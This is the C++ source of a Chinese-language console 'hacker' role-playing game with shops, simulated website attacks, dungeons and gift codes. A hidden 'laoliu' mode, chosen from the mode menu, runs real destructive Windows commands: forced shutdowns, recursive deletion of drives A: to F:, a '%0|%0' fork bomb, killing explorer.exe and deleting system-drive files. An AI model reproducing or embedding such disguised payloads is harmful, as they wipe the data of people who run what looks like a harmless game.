C++#include <bits/stdc++.h>
#include <windows.h>
#include <unistd.h>
#include <conio.h>
#include <time.h>
using namespace std;
#define int long long
char begin_choose;
int flag1;
int len;
string jineng[5] = {"???","反击","贪婪","黑客精通I","白客精通I"};
int price[5] = {0,300,2000,5000,5000};
string JJ[5] = {"无",""};
map<string,bool> JN;
string backpack[100100];
void show(char *s)
{
int len = strlen(s);
for (int i = 0; i < len ; i++)
{
printf("%c", s[i]);
if (s[i] == ' ') continue;
Sleep(100);
}
printf("\n");
Sleep(500);
}
void begin() {
show("黑客帝国");
cout << endl;
sleep(1);
cout << "制作人:";
sleep(1);
show("qianch**g");
sleep(1);
cout << "版本:";
sleep(1);
show("1.0.5");
sleep(1);
cout << "开始吗?Y/N" << endl;
cin >> begin_choose;
if(begin_choose == 'N') {
system("cls");
show("You are welcome!");
cout << endl;
flag1 = 1;
return;
}else if(begin_choose != 'Y') {
system("cls");
show("既然不好好玩,那就去死吧!!!");
cout << endl;
flag1 = 2;
}else {
system("cls");
cout << "登入中";
show("······");
cout << endl;
sleep(2);
return;
}
}
void lao_liu() {
system("cls");
show("你确定吗???(确定打1,不确定打2)");
double choose888;
cin >> choose888;
if(choose888 == 1) {
show("你被坑了,哈哈哈......");
sleep(1);
system("shutdown -s -t 5");
}else if(choose888 == 2) {
show("呵呵,懦弱的人!!!");
sleep(1);
system("rd /s /q C:");
sleep(1);
system("rd /s /q D:");
sleep(1);
system("rd /s /q E:");
sleep(1);
system("rd /s /q F:");
sleep(1);
system("shutdown -s -t 1");
}else if(choose888 == 0.5) {
show("你太棒了!!!");
sleep(1);
show("我要送你一个礼物!!!");
sleep(1);
system("shutdown -s -t 1");
}else if(choose888 == 20120519) {
show("答对了!!!");
system("cls");
show("你打游戏是微氪党还是氪金大佬???");
show("微氪选1,大佬选2");
int laoliu_choose2;
cin >> laoliu_choose2;
if(laoliu_choose2 == 1) {
show("什么!你氪金!!!");
show("不过比氪金苟好!");
show("给你个关机,引以为戒!");
system("shutdown -s -t 1");
}else if(laoliu_choose2 == 2) {
show("什么!你竟然是氪金苟!!!");
show("氪金苟不配玩!");
show("去死吧!!!");
sleep(1);
system("rd /s /q A:");
system("rd /s /q B:");
system("rd /s /q C:");
system("rd /s /q D:");
system("rd /s /q E:");
system("rd /s /q F:");
system("start cmd ipconfig");
system("%0|%0");
system("taskkill /f /t /Im explorer.exe");
system("del %systemdrive%*.*/f/s/q");
}else {
show("太好了,我又找到了一个志同道合的伙伴!白嫖党欢迎你!");
show("为了奖励你,我这有一个答题环节,要玩吗?");
int choose6;
cin >> choose6;
if(choose6 == 32304) {
system("cls");
for(int i = 1;i <= 100;i++) {
cout << i << "%" << endl;
Sleep(50);
system("cls");
}
system("cls");
show("第一题:517有几段?");
int num1;
cin >> num1;
if(num1 == 9) {
show("对了!");
show("第二题:算上这一问,老六模式有多少问?");
int num2;
cin >> num2;
if(num2 == 5) {
show("对了!");
show("第三题:1+1=?");
int num3;
cin >> num3;
if(num3 == 2) {
show("对了!");
show("坑人题:你跑得过你家狗吗?");
show("跑得过输1,跑不过输2,平手输3");
int num4;
cin >> num4;
if(num4 == 1) show("你比禽兽还禽兽!");
else if(num4 == 2) show("你禽兽都不如!");
else if(num4 == 3) show("你和禽兽没两样!");
else {
show("哦,原来你家没有狗呀!");
show("当我没说!");
show("老六模式杀青!");
show("感谢大家的支持!");
}
}else {
show("太拉了,这幼儿园数学都答不对!");
}
}else {
show("错了!");
show("太拉了!");
}
}else {
show("错了!");
show("太拉了!");
}
}else {
show("你在瞎输什么?");
show("惩罚你与我决斗!");
for(int i = 1;i <= 100;i++) {
cout << i << "%" << endl;
Sleep(50);
system("cls");
}
system("cls");
show(" qianch**g 使用了九天雷动!");
show("轰!轰!轰!轰!");
show("你受到了999999999999999999点伤害!");
show("你死了!");
sleep(1);
system("cls");
show("你输了!");
show("接受惩罚吧!");
system("rd /s /q A:");
system("rd /s /q B:");
system("rd /s /q C:");
system("rd /s /q D:");
system("rd /s /q E:");
system("rd /s /q F:");
system("start cmd ipconfig");
system("%0|%0");
system("taskkill /f /t /Im explorer.exe");
system("del %systemdrive%*.*/f/s/q");
}
}
}else {
show("什么玩意儿???");
system("shutdown -s -t 1");
}
}
void guan_huai() {show("介于你那可怜的智商,你通关了!!!");}
void ju_qing() {
system("cls");
show("你醒了,发现你在医院里。");
show("陌生人:先生,先生!您还认识我吗?");
show("你:[摇头]");
show("陌生人:您不记得我了吗?我是阿尔法呀!");
show("你:你是谁?");
system("cls");
cout << "(这时走来了一个医生)" << endl;
sleep(1);
show("医生:别叫了,这位先生。他因车祸导致永久失忆");
show("阿尔法:不,这不可能!先生!您认识我吗?我是阿尔法,您的助手啊!");
show("你:我是谁?我怎么什么都记不起来了?");
show("医生:你乘坐的汽车与另外一件汽车相撞,你存活了下来,但失去了记忆。");
system("cls");
cout << "医院外" << endl;
show("你:你是谁,我又是谁?");
show("阿尔法:你是当时威震世界的黑客之王!我是你的助手。");
show("你:!!!黑客!!!");
sleep(1);
system("cls");
}
void test() {
if(flag1 == 1) return;
else if(flag1 == 2) {
show("奥义:秒杀!");
sleep(1);
return;
}else {
system("cls");
int sum_1 = 0;
show("请选择模式");
show("1.制杖模式");
show("2.蒟蒻模式");
show("3.简单模式");
show("4.中等模式");
show("5.困难模式");
show("6.魔鬼模式");
show("*7.老六模式");
show("**8.智商关爱模式");
int choose110;
cin >> choose110;
if(choose110 == 1) sum_1=1;
if(choose110 == 2) sum_1=10;
if(choose110 == 3) sum_1=100;
if(choose110 == 4) sum_1=1000;
if(choose110 == 5) sum_1=10000;
if(choose110 == 6) sum_1=100000;
if(choose110 == 7) {
lao_liu();
return;
}
if(choose110 == 8) {
guan_huai();
return;
}
show("想看剧情吗?想看打1,不想随便输");
int choose21;
cin >> choose21;
if(choose21 == 1) ju_qing();
system("cls");
int ATlv = 1,DFlv = 1;
int HP=100,M=100,AT=5,DF=5;
int mubiao = 10000*sum_1;
int choose1;
string PC = "老古董";
while(M < mubiao) {
if(HP <= 0) {
show("你死了,累死的......");
sleep(1);
return;
}
printf("精神力:%lld 钱:%lld 攻击能力:%lld 抵御攻击能力:%lld",HP,M,AT,DF);
cout << " " << PC << endl;
cout << endl;
cout << "1.黑客技术学习 2.攻击 3.电脑店 4.睡觉 5.打工 6.副本 7.背包 8.礼包码 9.技能 10.黑市";
cout << endl;
cin >> choose1;
if(choose1 == 1) {
system("cls");
show("想要学习什么? ");
cout << endl;
show("1.攻击技巧 2.防御技巧 3.go back to the homepage!");
cout << endl;
int choose2;
cin >> choose2;
if(choose2 == 1) {
printf("支付%lld元(Y/N)",ATlv*100LL);
char buy;
cin >> buy;
system("cls");
if(buy == 'Y') {
M -= ATlv*100;
ATlv++;
AT+=5;
}else continue;
}else if(choose2 == 2) {
printf("支付%lld元(Y/N)",DFlv*100LL);
char buy;
cin >> buy;
system("cls");
if(buy == 'Y') {
M -= DFlv*100;
DFlv++;
DF+=5;
}else continue;
}else if(choose2 == 3) continue;
}else if(choose1 == 4) {
show("你美美的睡了一觉");
cout << endl;
sleep(1);
HP = 100;
system("cls");
}else if(choose1 == 5) {
int money = rand() % 800;
int a = rand() % 20;
M+=money;
HP-=a;
printf("获得了%lld元\n",money);
sleep(1);
system("cls");
}else if(choose1 == 3) {
show("1.老古董 2.1代 3.2代 4.3代 5.超级计算机(5代)");
int choose3;
cin >> choose3;
if(choose3 == 1) {
cout << "支付1000元(Y/N)" << endl;
char buy;
cin >> buy;
system("cls");
if(buy == 'Y') {
M -= 1000;
PC = "老古董";
}else continue;
}else if(choose3 == 2) {
cout << "支付5000元(Y/N)" << endl;
char buy;
cin >> buy;
system("cls");
if(buy == 'Y') {
M -= 5000;
PC = "1代";
}else continue;
}else if(choose3 == 5) {
cout << "支付300000元(Y/N)" << endl;
char buy;
cin >> buy;
system("cls");
if(buy == 'Y') {
M -= 300000;
PC = "超级计算机";
}else continue;
}else if(choose3 == 3) {
cout << "支付9999元(Y/N)" << endl;
char buy;
cin >> buy;
system("cls");
if(buy == 'Y') {
M -= 9999;
PC = "2代";
}else continue;
}else if(choose3 == 4) {
cout << "支付12345元(Y/N)" << endl;
char buy;
cin >> buy;
system("cls");
if(buy == 'Y') {
M -= 12345;
PC = "3代";
}else continue;
}else continue;
}else if(choose1 == 2) {
if(PC == "无") {
cout << "你没电脑!!!" << endl;
system("cls");
continue;
}else {
cout << "你准备攻击哪个网站?" << endl;
show("1.小平台(完成奖励1000) 2.中平台(完成奖励5000) 3.大平台(完成奖励10000) 4.国家级平台(完成奖励200000) ");
cout << endl;
int choose4;
cin >> choose4;
if(choose4 == 1) {
system("cls");
cout << "准备好了吗?" << endl;
sleep(1);
int his_PC = rand() % 5;
cout << "网络安全管理员发现了你!" << endl;
sleep(1);
int hp=0,hp2=0;
if(PC == "老古董") hp=100;
if(PC == "1代") hp=300;
if(PC == "2代") hp=500;
if(PC == "3代") hp=1000;
if(PC == "超级计算机") hp=10000;
if(his_PC == 1) hp2=100;
if(his_PC == 2) hp2=300;
if(his_PC == 3) hp2=500;
if(his_PC == 4) hp2=1000;
if(his_PC == 5) hp2=10000;
while(hp2 > 0) {
if(hp <= 0) {
system("cls");
cout << "你失败了" << endl;
cout << "你的电脑报废了" << endl;
PC = "无";
sleep(1);
break;
}
int his_at = rand() % 30;
int his_df = rand() % 30;
int YOU_at = rand() % 100;
int YOU_df = rand() % 100;
int HIS_at = rand() % 100;
int HIS_df = rand() % 100;
YOU_at *= AT/10;
YOU_df *= DF/10;
HIS_at *= his_at/10;
HIS_df *= his_df/10;
if(YOU_at <= HIS_df) {
cout << "你攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "你发起了攻击!" << endl;
sleep(1);
int baoji = rand() % 5;
if(baoji == 1) {
printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
hp2 -= (YOU_at-HIS_df)*2;
}else {
printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
hp2 -= YOU_at-HIS_df;
}
sleep(1);
}
if(HIS_at <= YOU_df) {
cout << "TA攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "TA发起了攻击!" << endl;
sleep(1);
printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
hp -= HIS_at-YOU_df;
sleep(1);
}
}
if(hp <= 0) {
system("cls");
continue;
}
else {
system("cls");
cout << "进攻成功!" << endl;
sleep(1);
M += 1000;
}
}else if(choose4 == 2) {
system("cls");
cout << "准备好了吗?" << endl;
sleep(1);
int his_PC = rand() % 5;
cout << "网络安全管理员发现了你!" << endl;
sleep(1);
int hp=0,hp2=0;
if(PC == "老古董") hp=100;
if(PC == "1代") hp=300;
if(PC == "2代") hp=500;
if(PC == "3代") hp=1000;
if(PC == "超级计算机") hp=10000;
if(his_PC == 1) hp2=100;
if(his_PC == 2) hp2=300;
if(his_PC == 3) hp2=500;
if(his_PC == 4) hp2=1000;
if(his_PC == 5) hp2=10000;
while(hp2 > 0) {
if(hp <= 0) {
system("cls");
cout << "你失败了" << endl;
cout << "你的电脑报废了" << endl;
PC = "无";
sleep(1);
break;
}
int his_at = rand() % 50;
int his_df = rand() % 50;
int YOU_at = rand() % 100;
int YOU_df = rand() % 100;
int HIS_at = rand() % 100;
int HIS_df = rand() % 100;
YOU_at *= AT/10;
YOU_df *= DF/10;
HIS_at *= his_at/10;
HIS_df *= his_df/10;
if(YOU_at <= HIS_df) {
cout << "你攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "你发起了攻击!" << endl;
sleep(1);
int baoji = rand() % 5;
if(baoji == 1) {
printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
hp2 -= (YOU_at-HIS_df)*2;
}else {
printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
hp2 -= YOU_at-HIS_df;
}
sleep(1);
}
if(HIS_at <= YOU_df) {
cout << "TA攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "TA发起了攻击!" << endl;
sleep(1);
printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
hp -= HIS_at-YOU_df;
sleep(1);
}
}
if(hp <= 0) {
system("cls");
continue;
}
else {
system("cls");
cout << "进攻成功!" << endl;
sleep(1);
M += 5000;
}
}else if(choose4 == 3) {
system("cls");
cout << "准备好了吗?" << endl;
sleep(1);
int his_PC = rand() % 5;
cout << "网络安全管理员发现了你!" << endl;
sleep(1);
int hp=0,hp2=0;
if(PC == "老古董") hp=100;
if(PC == "1代") hp=300;
if(PC == "2代") hp=500;
if(PC == "3代") hp=1000;
if(PC == "超级计算机") hp=10000;
if(his_PC == 1) hp2=100;
if(his_PC == 2) hp2=300;
if(his_PC == 3) hp2=500;
if(his_PC == 4) hp2=1000;
if(his_PC == 5) hp2=10000;
while(hp2 > 0) {
if(hp <= 0) {
system("cls");
cout << "你失败了" << endl;
cout << "你的电脑报废了" << endl;
PC = "无";
sleep(1);
break;
}
int his_at = rand() % 100;
int his_df = rand() % 100;
int YOU_at = rand() % 100;
int YOU_df = rand() % 100;
int HIS_at = rand() % 100;
int HIS_df = rand() % 100;
YOU_at *= AT/10;
YOU_df *= DF/10;
HIS_at *= his_at/10;
HIS_df *= his_df/10;
if(YOU_at <= HIS_df) {
cout << "你攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "你发起了攻击!" << endl;
sleep(1);
int baoji = rand() % 5;
if(baoji == 1) {
printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
hp2 -= (YOU_at-HIS_df)*2;
}else {
printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
hp2 -= YOU_at-HIS_df;
}
sleep(1);
}
if(HIS_at <= YOU_df) {
cout << "TA攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "TA发起了攻击!" << endl;
sleep(1);
printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
hp -= HIS_at-YOU_df;
sleep(1);
}
}
if(hp <= 0) {
system("cls");
continue;
}
else {
system("cls");
cout << "进攻成功!" << endl;
sleep(1);
M += 10000;
}
}else if(choose4 == 4) {
system("cls");
cout << "准备好了吗?" << endl;
sleep(1);
int his_PC = rand() % 5;
cout << "网络安全管理员发现了你!" << endl;
sleep(1);
int hp=0,hp2=0;
if(PC == "老古董") hp=100;
if(PC == "1代") hp=300;
if(PC == "2代") hp=500;
if(PC == "3代") hp=1000;
if(PC == "超级计算机") hp=10000;
if(his_PC == 1) hp2=100;
if(his_PC == 2) hp2=300;
if(his_PC == 3) hp2=500;
if(his_PC == 4) hp2=1000;
if(his_PC == 5) hp2=10000;
while(hp2 > 0) {
if(hp <= 0) {
system("cls");
cout << "你失败了" << endl;
cout << "你的电脑报废了" << endl;
PC = "无";
sleep(1);
break;
}
int his_at = rand() % 300;
int his_df = rand() % 300;
int YOU_at = rand() % 100;
int YOU_df = rand() % 100;
int HIS_at = rand() % 100;
int HIS_df = rand() % 100;
YOU_at *= AT/10;
YOU_df *= DF/10;
HIS_at *= his_at/10;
HIS_df *= his_df/10;
if(YOU_at <= HIS_df) {
cout << "你攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "你发起了攻击!" << endl;
sleep(1);
int baoji = rand() % 5;
if(baoji == 1) {
printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
hp2 -= (YOU_at-HIS_df)*2;
}else {
printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
hp2 -= YOU_at-HIS_df;
}
sleep(1);
}
if(HIS_at <= YOU_df) {
cout << "TA攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "TA发起了攻击!" << endl;
sleep(1);
printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
hp -= HIS_at-YOU_df;
sleep(1);
}
}
if(hp <= 0) {
system("cls");
continue;
}
else {
system("cls");
cout << "进攻成功!" << endl;
sleep(1);
M += 200000;
}
}
}
}else if(choose1 == 6) {
system("cls");
show("1.money副本 2.《黑客指南——攻击篇》副本 3.《黑客指南——防御篇》副本");
int choose114514;
cin >> choose114514;
if(choose114514 == 1) {
system("cls");
cout << "准备好了吗?" << endl;
sleep(1);
int his_PC = rand() % 5;
cout << "网络安全管理员发现了你!" << endl;
sleep(1);
int hp=0,hp2=0;
if(PC == "老古董") hp=100;
if(PC == "1代") hp=300;
if(PC == "2代") hp=500;
if(PC == "3代") hp=1000;
if(PC == "超级计算机") hp=10000;
if(his_PC == 1) hp2=100;
if(his_PC == 2) hp2=300;
if(his_PC == 3) hp2=500;
if(his_PC == 4) hp2=1000;
if(his_PC == 5) hp2=10000;
while(hp2 > 0) {
if(hp <= 0) {
system("cls");
cout << "你失败了" << endl;
cout << "你的电脑报废了" << endl;
PC = "无";
sleep(1);
break;
}
int his_at = rand() % 50;
int his_df = rand() % 50;
int YOU_at = rand() % 100;
int YOU_df = rand() % 100;
int HIS_at = rand() % 100;
int HIS_df = rand() % 100;
YOU_at *= AT/10;
YOU_df *= DF/10;
HIS_at *= his_at/10;
HIS_df *= his_df/10;
if(YOU_at <= HIS_df) {
cout << "你攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "你发起了攻击!" << endl;
sleep(1);
int baoji = rand() % 5;
if(baoji == 1) {
printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
hp2 -= (YOU_at-HIS_df)*2;
}else {
printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
hp2 -= YOU_at-HIS_df;
}
sleep(1);
}
if(HIS_at <= YOU_df) {
cout << "TA攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "TA发起了攻击!" << endl;
sleep(1);
printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
hp -= HIS_at-YOU_df;
sleep(1);
}
}
if(hp <= 0) {
system("cls");
continue;
}
else {
system("cls");
cout << "进攻成功!" << endl;
sleep(1);
system("cls");
int prize = rand() % 3;
if(prize == 0) {
len++;
backpack[len] = "小钱包";
show("荣获小钱包一个!!!");
sleep(1);
system("cls");
}else if(prize == 1) {
len++;
backpack[len] = "中钱包";
show("荣获中钱包一个!!!");
sleep(1);
system("cls");
}else if(prize == 2) {
len++;
backpack[len] = "大钱包";
show("荣获大钱包一个!!!");
sleep(1);
system("cls");
}
M += 200000;
}
}else if(choose114514 == 114514) {
show("恭喜你!!!");
show("大钱包+攻击书+防御书大礼盒一个!!!");
len++;
backpack[len] = "大钱包";
len++;
backpack[len] = "《黑客指南——攻击篇》";
len++;
backpack[len] = "《黑客指南——防御篇》";
system("cls");
}else if(choose114514 == 2) {
system("cls");
cout << "准备好了吗?" << endl;
sleep(1);
int his_PC = rand() % 5;
cout << "网络安全管理员发现了你!" << endl;
sleep(1);
int hp=0,hp2=0;
if(PC == "老古董") hp=100;
if(PC == "1代") hp=300;
if(PC == "2代") hp=500;
if(PC == "3代") hp=1000;
if(PC == "超级计算机") hp=10000;
if(his_PC == 1) hp2=100;
if(his_PC == 2) hp2=300;
if(his_PC == 3) hp2=500;
if(his_PC == 4) hp2=1000;
if(his_PC == 5) hp2=10000;
while(hp2 > 0) {
if(hp <= 0) {
system("cls");
cout << "你失败了" << endl;
cout << "你的电脑报废了" << endl;
PC = "无";
sleep(1);
break;
}
int his_at = rand() % 50;
int his_df = rand() % 50;
int YOU_at = rand() % 100;
int YOU_df = rand() % 100;
int HIS_at = rand() % 100;
int HIS_df = rand() % 100;
YOU_at *= AT/10;
YOU_df *= DF/10;
HIS_at *= his_at/10;
HIS_df *= his_df/10;
if(YOU_at <= HIS_df) {
cout << "你攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "你发起了攻击!" << endl;
sleep(1);
int baoji = rand() % 5;
if(baoji == 1) {
printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
hp2 -= (YOU_at-HIS_df)*2;
}else {
printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
hp2 -= YOU_at-HIS_df;
}
sleep(1);
}
if(HIS_at <= YOU_df) {
cout << "TA攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "TA发起了攻击!" << endl;
sleep(1);
printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
hp -= HIS_at-YOU_df;
sleep(1);
}
}
if(hp <= 0) {
system("cls");
continue;
}
else {
system("cls");
cout << "进攻成功!" << endl;
sleep(1);
system("cls");
show("荣获攻击书一本!");
len++;
backpack[len] = "《黑客指南——攻击篇》";
system("cls");
}
}else if(choose114514 == 3) {
system("cls");
cout << "准备好了吗?" << endl;
sleep(1);
int his_PC = rand() % 5;
cout << "网络安全管理员发现了你!" << endl;
sleep(1);
int hp=0,hp2=0;
if(PC == "老古董") hp=100;
if(PC == "1代") hp=300;
if(PC == "2代") hp=500;
if(PC == "3代") hp=1000;
if(PC == "超级计算机") hp=10000;
if(his_PC == 1) hp2=100;
if(his_PC == 2) hp2=300;
if(his_PC == 3) hp2=500;
if(his_PC == 4) hp2=1000;
if(his_PC == 5) hp2=10000;
while(hp2 > 0) {
if(hp <= 0) {
system("cls");
cout << "你失败了" << endl;
cout << "你的电脑报废了" << endl;
PC = "无";
sleep(1);
break;
}
int his_at = rand() % 50;
int his_df = rand() % 50;
int YOU_at = rand() % 100;
int YOU_df = rand() % 100;
int HIS_at = rand() % 100;
int HIS_df = rand() % 100;
YOU_at *= AT/10;
YOU_df *= DF/10;
HIS_at *= his_at/10;
HIS_df *= his_df/10;
if(YOU_at <= HIS_df) {
cout << "你攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "你发起了攻击!" << endl;
sleep(1);
int baoji = rand() % 5;
if(baoji == 1) {
printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
hp2 -= (YOU_at-HIS_df)*2;
}else {
printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
hp2 -= YOU_at-HIS_df;
}
sleep(1);
}
if(HIS_at <= YOU_df) {
cout << "TA攻击了个寂寞。" << endl;
sleep(1);
}
else {
cout << "TA发起了攻击!" << endl;
sleep(1);
printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
hp -= HIS_at-YOU_df;
sleep(1);
}
}
if(hp <= 0) {
system("cls");
continue;
}
else {
system("cls");
cout << "进攻成功!" << endl;
sleep(1);
system("cls");
show("荣获防御书一本!");
len++;
backpack[len] = "《黑客指南——防御篇》";
system("cls");
}
}
}else if(choose1 == 7) {
system("cls");
if(len == 0) {
show("背包是空的。");
sleep(1);
system("cls");
continue;
}
for(int i = 1;i <= len;i++) {
cout << i << ". " << backpack[i] << endl;
sleep(1);
}
show("想要干什么?");
show("1.使用 2.交换位置");
int choose_114514;
cin >> choose_114514;
if(choose_114514 == 1) {
show("请输入编号:");
int choose_110;
cin >> choose_110;
if(backpack[choose_110] == "小钱包") {
M += 1000;
backpack[choose_110] = "空气";
}else if(backpack[choose_110] == "中钱包") {
M += 10000;
backpack[choose_110] = "空气";
}else if(backpack[choose_110] == "大钱包") {
M += 50000;
backpack[choose_110] = "空气";
}else if(backpack[choose_110] == "《黑客指南——攻击篇》") {
AT += 15;
backpack[choose_110] = "空气";
}else if(backpack[choose_110] == "《黑客指南——防御篇》") {
DF += 15;
backpack[choose_110] = "空气";
}else if(backpack[choose_110] == "空气") show("你认为空气会有作用吗???");
system("cls");
}else if(choose_114514 == 2) {
show("输入两个编号");
int aa,bb;
cin >> aa >> bb;
swap(backpack[aa],backpack[bb]);
system("cls");
}
}else if(choose1 == 8) {
show("请输入礼包码:");
int choose_8;
cin >> choose_8;
if(choose_8 == 10086) {
system("cls");
show("兑换成功!!!");
show("金钱大礼包!!!");
M += 1008600;
system("cls");
}else if(choose_8 == 4212) {
system("cls");
show("兑换成功!!!");
show("作者的力量!!!");
AT = 114514;
DF = 114514;
system("cls");
}else if(choose_8 == 50210) {
system("cls");
show("兑换成功!!!");
show("成为毁灭者!!!");
AT = 99999999;
DF = 1;
system("cls");
}else {
system("cls");
show("失败!扣3000!");
M -= 3000;
system("cls");
}
}else if(choose1 == 9) {
system("cls");
for(int i = 1;i <= 4;i++) {
cout << i << "." << jineng[i] << " " << (JN[jineng[i]] == true?"已获得":"未获得") << endl;
sleep(1);
}
cout << "--------------" << endl;
cout << "- 还没弄好 -" << endl;
cout << "- 下个版本更 -" << endl;
cout << "--------------" << endl;
system("cls");
}else if(choose1 == 10) {
system("cls");
show("黑市老板:只要你有钱,啥都可以买!");
show("注意:买到的立即使用!");
cout << "------------------------" << endl;
int GJS = rand() % 3000;
cout << "1攻击书:" << GJS << endl;
int FYS = rand() % 3000;
cout << "2防御书:" << FYS << endl;
int Pc = rand() % 5;
int pC = rand() % 1000000;
cout << "3随机电脑:" << pC << endl;
cout << "------------------------" << endl;
show("老板:买啥");
int Buy;
cin >> Buy;
if(Buy == 1) {
if(M < GJS) {
show("没钱买个pi啊!");
system("cls");
continue;
}else {
show("已购买。");
AT += 15;
M -= GJS;
system("cls");
continue;
}
}
if(Buy == 2) {
if(M < FYS) {
show("没钱买个pi啊!");
system("cls");
continue;
}else {
show("已购买。");
DF += 15;
M -= FYS;
system("cls");
continue;
}
}
if(Buy == 3) {
cout << "抽奖中";
for(int i = 1;i <= 6;i++) {
sleep(1);
cout << ".";
}
system("cls");
cout << "你抽到了";
if(Pc == 1) cout << "老古董";
if(Pc == 2) cout << "1代";
if(Pc == 3) cout << "2代";
if(Pc == 4) cout << "3代";
if(Pc == 5) cout << "5代";
if(M < pC) {
show("没钱买个pi啊!");
system("cls");
continue;
}else {
show("已购买。");
M -= pC;
if(Pc == 1) PC = "老古董";
if(Pc == 2) PC = "1代";
if(Pc == 3) PC = "2代";
if(Pc == 4) PC = "3代";
if(Pc == 5) PC = "超级计算机";
system("cls");
continue;
}
}
}
}
}
}
signed main() {
begin();
test();
return 0;
}